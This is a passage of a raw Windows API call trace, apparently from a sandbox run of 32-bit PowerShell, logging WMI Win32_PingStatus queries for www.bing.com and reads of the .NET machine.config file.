WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe3c4*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe3c4*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0128.203] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__Derivation", lFlags=0, pVal=0x59fe3c4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27733bc*=0, plFlavor=0x27733c0*=0 | out: pVal=0x59fe3c4*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cd34d8*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5ce6168, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x27733bc*=8200, plFlavor=0x27733c0*=64) returned 0x0 [0128.203] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__Derivation", lFlags=0, pVal=0x59fe3cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27733bc*=8200, plFlavor=0x27733c0*=64 | out: pVal=0x59fe3cc*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cd34a8*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5ce6168, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x27733bc*=8200, plFlavor=0x27733c0*=64) returned 0x0 [0128.203] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe3c8 | out: puCount=0x59fe3c8*=0x2) returned 0x0 [0128.203] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe3c4*=0x0, pszText=0x0 | out: puBuffLength=0x59fe3c4*=0xf, pszText=0x0) returned 0x0 [0128.203] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe3c4*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe3c4*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0128.203] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__CLASS", lFlags=0, pVal=0x59fe3c4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2773624*=0, plFlavor=0x2773628*=0 | out: pVal=0x59fe3c4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2773624*=8, plFlavor=0x2773628*=64) returned 0x0 [0128.204] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0128.204] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0128.204] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__CLASS", lFlags=0, pVal=0x59fe3cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2773624*=8, plFlavor=0x2773628*=64 | out: pVal=0x59fe3cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2773624*=8, plFlavor=0x2773628*=64) returned 0x0 [0128.204] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0128.204] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0128.204] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe3c8 | out: puCount=0x59fe3c8*=0x2) returned 0x0 [0128.204] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe3c4*=0x0, pszText=0x0 | out: puBuffLength=0x59fe3c4*=0xf, pszText=0x0) returned 0x0 [0128.204] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe3c4*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe3c4*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0128.204] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__Derivation", lFlags=0, pVal=0x59fe3c4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x277374c*=0, plFlavor=0x2773750*=0 | out: pVal=0x59fe3c4*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cd34d8*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5ce6168, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x277374c*=8200, plFlavor=0x2773750*=64) returned 0x0 [0128.204] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__Derivation", lFlags=0, pVal=0x59fe3cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x277374c*=8200, plFlavor=0x2773750*=64 | out: pVal=0x59fe3cc*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cd34a8*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5ce6168, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x277374c*=8200, plFlavor=0x2773750*=64) returned 0x0 [0128.205] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe3e0 | out: puCount=0x59fe3e0*=0x2) returned 0x0 [0128.205] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe3dc*=0x0, pszText=0x0 | out: puBuffLength=0x59fe3dc*=0xf, pszText=0x0) returned 0x0 [0128.205] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe3dc*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe3dc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0128.208] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe3e0 | out: puCount=0x59fe3e0*=0x2) returned 0x0 [0128.208] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe3dc*=0x0, pszText=0x0 | out: puBuffLength=0x59fe3dc*=0xf, pszText=0x0) returned 0x0 [0128.208] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe3dc*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe3dc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0128.208] IWbemClassObject:GetNames (in: This=0x5ce4808, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59fe3e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59fe3dc | out: pNames=0x59fe3dc*="\x01ƀ\x04") returned 0x0 [0128.208] SafeArrayGetDim (psa=0x5cd3508) returned 0x1 [0128.208] SafeArrayGetDim (psa=0x5cd3508) returned 0x1 [0128.208] SafeArrayGetLBound (in: psa=0x5cd3508, nDim=0x1, plLbound=0x59fe274 | out: plLbound=0x59fe274) returned 0x0 [0128.208] SysStringByteLen (bstr="__GENUS") returned 0xe [0128.209] SysStringByteLen (bstr="__GENUS") returned 0xe [0128.209] SysStringByteLen (bstr="__CLASS") returned 0xe [0128.209] SysStringByteLen (bstr="__CLASS") returned 0xe [0128.209] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0128.209] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0128.209] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0128.209] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0128.209] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0128.209] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0128.209] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0128.209] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0128.209] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0128.209] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0128.209] SysStringByteLen (bstr="__SERVER") returned 0x10 [0128.209] SysStringByteLen (bstr="__SERVER") returned 0x10 [0128.209] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0128.209] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0128.209] SysStringByteLen (bstr="__PATH") returned 0xc [0128.209] SysStringByteLen (bstr="__PATH") returned 0xc [0128.209] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__GENUS", lFlags=0, pVal=0x59fe3d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2773f88*=0, plFlavor=0x2773f8c*=0 | out: pVal=0x59fe3d8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2773f88*=3, plFlavor=0x2773f8c*=64) returned 0x0 [0128.210] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__CLASS", lFlags=0, pVal=0x59fe3d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2773fbc*=0, plFlavor=0x2773fc0*=0 | out: pVal=0x59fe3d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2773fbc*=8, plFlavor=0x2773fc0*=64) returned 0x0 [0128.210] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0128.210] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0128.210] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__SUPERCLASS", lFlags=0, pVal=0x59fe3d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2774014*=0, plFlavor=0x2774018*=0 | out: pVal=0x59fe3d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2774014*=8, plFlavor=0x2774018*=64) returned 0x0 [0128.210] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__DYNASTY", lFlags=0, pVal=0x59fe3d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x277403c*=0, plFlavor=0x2774040*=0 | out: pVal=0x59fe3d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x277403c*=8, plFlavor=0x2774040*=64) returned 0x0 [0128.210] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0128.210] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0128.210] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__RELPATH", lFlags=0, pVal=0x59fe3d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2774094*=0, plFlavor=0x2774098*=0 | out: pVal=0x59fe3d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2774094*=8, plFlavor=0x2774098*=64) returned 0x0 [0128.210] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0128.210] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0128.211] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59fe3d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x277426c*=0, plFlavor=0x2774270*=0 | out: pVal=0x59fe3d8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x277426c*=3, plFlavor=0x2774270*=64) returned 0x0 [0128.211] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__DERIVATION", lFlags=0, pVal=0x59fe3d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27742a0*=0, plFlavor=0x27742a4*=0 | out: pVal=0x59fe3d8*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cd34a8*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5ce6168, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x27742a0*=8200, plFlavor=0x27742a4*=64) returned 0x0 [0128.211] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__SERVER", lFlags=0, pVal=0x59fe3d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27742d4*=0, plFlavor=0x27742d8*=0 | out: pVal=0x59fe3d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x27742d4*=8, plFlavor=0x27742d8*=64) returned 0x0 [0128.211] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0128.211] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0128.211] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe3d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2774320*=0, plFlavor=0x2774324*=0 | out: pVal=0x59fe3d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2774320*=8, plFlavor=0x2774324*=64) returned 0x0 [0128.211] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0128.211] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0128.212] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__PATH", lFlags=0, pVal=0x59fe3d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x277436c*=0, plFlavor=0x2774370*=0 | out: pVal=0x59fe3d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x277436c*=8, plFlavor=0x2774370*=64) returned 0x0 [0128.212] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0128.212] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0128.212] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe41c | out: puCount=0x59fe41c*=0x2) returned 0x0 [0128.212] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe418*=0x0, pszText=0x0 | out: puBuffLength=0x59fe418*=0xf, pszText=0x0) returned 0x0 [0128.212] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe418*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe418*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0128.212] IWbemClassObject:Get (in: This=0x5ce4808, wszName="address", lFlags=0, pVal=0x59fe418*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27745a0*=0, plFlavor=0x27745a4*=0 | out: pVal=0x59fe418*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.bing.com", varVal2=0x0), pType=0x27745a0*=8, plFlavor=0x27745a4*=0) returned 0x0 [0128.212] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0128.212] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0128.212] IWbemClassObject:Get (in: This=0x5ce4808, wszName="address", lFlags=0, pVal=0x59fe46c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27745a0*=8, plFlavor=0x27745a4*=0 | out: pVal=0x59fe46c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.bing.com", varVal2=0x0), pType=0x27745a0*=8, plFlavor=0x27745a4*=0) returned 0x0 [0128.212] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0128.212] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0128.583] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", nBufferLength=0x105, lpBuffer=0x59fde40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", lpFilePart=0x0) returned 0x40 [0128.584] CoTaskMemAlloc (cb=0x20c) returned 0x5cea8b0 [0128.584] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x5cea8b0, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0128.584] CoTaskMemFree (pv=0x5cea8b0) [0128.585] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3a [0128.585] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x3a, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpFilePart=0x0) returned 0x39 [0128.593] GetCurrentProcess () returned 0xffffffff [0128.593] GetCurrentProcess () returned 0xffffffff [0128.594] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0x524, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x59fe140, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x59fe140*=0x528) returned 1 [0128.596] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2f [0128.596] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", nBufferLength=0x2f, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpFilePart=0x0) returned 0x2e [0128.596] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x59fe170 | out: lpFileInformation=0x59fe170*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc63fb400, ftCreationTime.dwHighDateTime=0x1d4e4ee, ftLastAccessTime.dwLowDateTime=0xb9f350b0, ftLastAccessTime.dwHighDateTime=0x1d706ae, ftLastWriteTime.dwLowDateTime=0xc63fb400, ftLastWriteTime.dwHighDateTime=0x1d4e4ee, nFileSizeHigh=0x0, nFileSizeLow=0x8c8e)) returned 1 [0128.597] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0128.597] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", nBufferLength=0x44, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x43 [0128.598] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x59fe178 | out: lpFileInformation=0x59fe178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc63fb400, ftCreationTime.dwHighDateTime=0x1d4e4ee, ftLastAccessTime.dwLowDateTime=0xb9f350b0, ftLastAccessTime.dwHighDateTime=0x1d706ae, ftLastWriteTime.dwLowDateTime=0xc63fb400, ftLastWriteTime.dwHighDateTime=0x1d4e4ee, nFileSizeHigh=0x0, nFileSizeLow=0x8c8e)) returned 1 [0128.598] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0128.598] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", nBufferLength=0x44, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x43 [0128.598] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fe0b0) returned 1 [0128.598] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x52c [0128.599] GetFileType (hFile=0x52c) returned 0x1 [0128.599] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fe0ac) returned 1 [0128.599] GetFileType (hFile=0x52c) returned 0x1 [0128.615] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0128.615] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", nBufferLength=0x44, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", lpFilePart=0x0) returned 0x43 [0128.616] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0128.616] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", nBufferLength=0x44, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", lpFilePart=0x0) returned 0x43 [0128.616] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fd68c) returned 1 [0128.616] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x59fd950 | out: lpFileInformation=0x59fd950*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc63fb400, ftCreationTime.dwHighDateTime=0x1d4e4ee, ftLastAccessTime.dwLowDateTime=0xb9f350b0, ftLastAccessTime.dwHighDateTime=0x1d706ae, ftLastWriteTime.dwLowDateTime=0xc63fb400, ftLastWriteTime.dwHighDateTime=0x1d4e4ee, nFileSizeHigh=0x0, nFileSizeLow=0x8c8e)) returned 1 [0128.616] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fd688) returned 1 [0128.871] BCryptGetFipsAlgorithmMode (in: pfEnabled=0x59fd81c | out: pfEnabled=0x59fd81c) returned 0x0 [0128.880] GetFileSize (in: hFile=0x52c, lpFileSizeHigh=0x59fe16c | out: lpFileSizeHigh=0x59fe16c*=0x0) returned 0x8c8e [0128.880] ReadFile (in: hFile=0x52c, lpBuffer=0x27a6d34, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fe128, lpOverlapped=0x0 | out: lpBuffer=0x27a6d34*, lpNumberOfBytesRead=0x59fe128*=0x1000, lpOverlapped=0x0) returned 1 [0128.892] ReadFile (in: hFile=0x52c, lpBuffer=0x27a6d34, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fdfd8, lpOverlapped=0x0 | out: lpBuffer=0x27a6d34*, lpNumberOfBytesRead=0x59fdfd8*=0x1000, lpOverlapped=0x0) returned 1 [0128.894] ReadFile (in: hFile=0x52c, lpBuffer=0x27a6d34, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fde8c, lpOverlapped=0x0 | out: lpBuffer=0x27a6d34*, lpNumberOfBytesRead=0x59fde8c*=0x1000, lpOverlapped=0x0) returned 1 [0128.894] ReadFile (in: hFile=0x52c, lpBuffer=0x27a6d34, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fde8c, lpOverlapped=0x0 | out: lpBuffer=0x27a6d34*, lpNumberOfBytesRead=0x59fde8c*=0x1000, lpOverlapped=0x0) returned 1 [0128.895] ReadFile (in: hFile=0x52c, lpBuffer=0x27a6d34, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fde8c, lpOverlapped=0x0 | out: lpBuffer=0x27a6d34*, lpNumberOfBytesRead=0x59fde8c*=0x1000, lpOverlapped=0x0) returned 1 [0128.895] ReadFile (in: hFile=0x52c, lpBuffer=0x27a6d34, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fddc4, lpOverlapped=0x0 | out: lpBuffer=0x27a6d34*, lpNumberOfBytesRead=0x59fddc4*=0x1000, lpOverlapped=0x0) returned 1 [0128.900] ReadFile (in: hFile=0x52c, lpBuffer=0x27a6d34, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fdf30, lpOverlapped=0x0 | out: lpBuffer=0x27a6d34*, lpNumberOfBytesRead=0x59fdf30*=0x1000, lpOverlapped=0x0) returned 1 [0128.902] ReadFile (in: hFile=0x52c, lpBuffer=0x27a6d34, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fde24, lpOverlapped=0x0 | out: lpBuffer=0x27a6d34*, lpNumberOfBytesRead=0x59fde24*=0x1000, lpOverlapped=0x0) returned 1 [0128.902] ReadFile (in: hFile=0x52c, lpBuffer=0x27a6d34, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fde24, lpOverlapped=0x0 | out: lpBuffer=0x27a6d34*, lpNumberOfBytesRead=0x59fde24*=0xc8e, lpOverlapped=0x0) returned 1 [0128.902] ReadFile (in: hFile=0x52c, lpBuffer=0x27a6d34, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fdee8, lpOverlapped=0x0 | out: lpBuffer=0x27a6d34*, lpNumberOfBytesRead=0x59fdee8*=0x0, lpOverlapped=0x0) returned 1 [0128.902] CloseHandle (hObject=0x52c) returned 1 [0128.903] CloseHandle (hObject=0x524) returned 1 [0128.903] CloseHandle (hObject=0x528) returned 1 [0128.903] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", nBufferLength=0x105, lpBuffer=0x59fde3c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", lpFilePart=0x0) returned 0x40 [0128.903] CoTaskMemAlloc (cb=0x20c) returned 